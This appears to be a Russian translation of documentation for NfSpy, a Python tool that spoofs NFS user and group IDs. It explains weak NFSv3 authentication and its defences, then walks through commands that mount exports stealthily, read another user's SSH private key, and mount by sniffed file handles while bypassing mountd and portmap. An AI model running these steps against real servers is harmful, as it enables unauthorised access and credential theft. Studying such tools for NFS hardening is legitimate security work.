
ID-spoofing NFS client
NfSpy — это библиотека Python для автоматизации подмены учётных данных NFS при монтировании NFS-ресурса. В состав входят две клиентские программы:
nfspy использует библиотеку Filesystem in Userspace (FUSE) для монтирования NFS-ресурса в Linux. Это позволяет использовать любые обычные программы поиска и обработки файлов, такие как grep и find, для изучения NFS-экспорта.
nfspysh — это интерактивная оболочка, похожая на ftp, для изучения NFS-экспортов. Для её работы не требуется библиотека FUSE, поэтому она может работать на платформах, отличных от Linux.
NFS до версии 4 полагается на доверительные отношения между хостами для аутентификации. Сервер NFS доверяет любым клиентским машинам аутентифицировать пользователей и назначать те же идентификаторы пользователей (UID), которые использует общая файловая система. Это работает, например, в доменах NIS, NIS+ и LDAP, но только если вы уверены, что клиентская машина не скомпрометирована и не подделывает свою идентичность. Это связано с тем, что единственная аутентификация в протоколе NFS — это передача UID и GID (идентификатора группы). Существует несколько способов повысить безопасность NFS, но многие из них являются неполными решениями, и даже при использовании всех трёх перечисленных здесь мер всё ещё может быть возможно обойти эти меры безопасности.
Сервер или ресурс («экспорт» в терминологии NFS) может быть настроен на root_squash, что означает, что любые запросы, поступающие с утверждением, что они имеют UID или GID 0 (root), будут обрабатываться как пользователь nobody или его эквивалент в системе. Это не мешает злоумышленнику подделывать любые другие комбинации UID/GID, но защищает наиболее конфиденциальную информацию и конфигурации на экспорте.
Ещё одной настройкой, которую можно включить, является nfs_portmon, которая отклоняет запросы, поступающие с портов источника вне диапазона 513-1024. Поскольку только root (обычно) может выделять эти порты, это предотвращает возможность обычного пользователя на доверенной машине написать и использовать собственный NFS-клиент, подделывающий UID/GID. Это никак не мешает недобросовестному хосту, пользователю с правами su или скомпрометированной на уровне root машине сделать то же самое.
Ресурсы/экспорты могут быть ограничены так, чтобы только определённые машины могли получить к ним доступ. Эти списки контроля доступа могут состоять из:
Наилучшей конфигурацией было бы использование списка хостов, поскольку запрос к демону NFS вернёт только имя списка, а не содержащиеся в нём адреса или имена. Следующими по надёжности идут IP-адреса или имена хостов, так как их сложнее подделать. IP-префиксы и «everyone» являются признаками небезопасности, поскольку практически нет ограничений на то, какие адреса могут подключаться.
Список опций можно посмотреть, выполнив
nfspy --help
Есть NFS-сервер на 192.168.1.124.
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)
Монтируем ресурс. Использование sudo позволяет привязаться к привилегированному порту, а опция allow_other даёт возможность любому пользователю использовать файловую систему. Другая новая опция — «hide», которая сразу же «отмонтирует» ресурс на сервере, но сохраняет полученный файловый дескриптор. Это скрывает ваше присутствие от тех, кто использует showmount -a.
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt
Наслаждайтесь новообретённой свободой!
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>
Чтобы отмонтировать, используйте fusermount:
$ sudo fusermount -u /mnt
Есть NFS-сервер на 192.168.1.124. Portmap заблокирован, поэтому вы не можете получить список ресурсов, но вы можете перехватить сетевой трафик.
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
^C3 packets captured
Теперь используйте опции монтирования dirhandle и getroot, чтобы избежать использования демона mount, и опцию nfsport, чтобы избежать использования portmapper, поднимаясь по дереву каталогов к корню экспорта.
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt
Обратите внимание, что мы не указали путь для монтирования, так как нам известен только файловый дескриптор NFS. Чтобы это сработало, дескриптор должен указывать на каталог, а не на файл, и нужно действовать быстро, иначе дескриптор станет недействительным.
Программа tshark является частью проекта Wireshark. Распространённая программа tcpdump также умеет декодировать файловые дескрипторы NFS с помощью опции -u:
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]
Эти файловые дескрипторы представляют собой 4-байтовые значения, разделённые двоеточиями, поэтому вам придётся самостоятельно дополнить их нулями; NfSpy просто удаляет двоеточия, что неправильно.
nfspysh принимает тот же базовый набор опций в том же формате, что и nfspy, поэтому приведённое выше руководство должно работать. Список команд можно посмотреть с помощью команды «help».
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775 1000 1000 4096 2013-04-13 23:20:37 .
040775 1000 1000 4096 2013-04-13 23:20:37 ..
040775 1000 1000 4096 2013-04-11 06:36:48 public
040775 1000 1000 4096 2013-04-13 23:26:40 more
040700 0 1000 4096 2013-04-11 06:39:12 secrets
100666 1000 1000 5 2013-04-13 23:28:02 README.md
120777 1000 1000 21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
cd
chmod
chown
exit
get
help
lcd
lpwd
ls
mkdir
mv
put
pwd
rm
rmdir
umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]
Retrieve <filename> and save to <localname>. If no <localname> is given,
defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.
Доступ на запись находится в стадии бета-тестирования. Он работал в моих тестах на нескольких системах, но требует дополнительного тестирования. По этой причине NfSpy по умолчанию монтирует в режиме ro. Укажите опцию монтирования rw, чтобы изменить это. (nfspysh не имеет режима только для чтения. Будьте осторожны!)
NfSpy не работает со стандартными сервисами lockd и statd, что может вызвать проблемы при записи в файлы. Однако для режима только для чтения и большинства неблаговидных целей, для которых он предназначен, это не должно быть проблемой.
В настоящее время NfSpy поддерживает только NFSv3. Будущие версии могут интеллектуально выбирать версию NFS.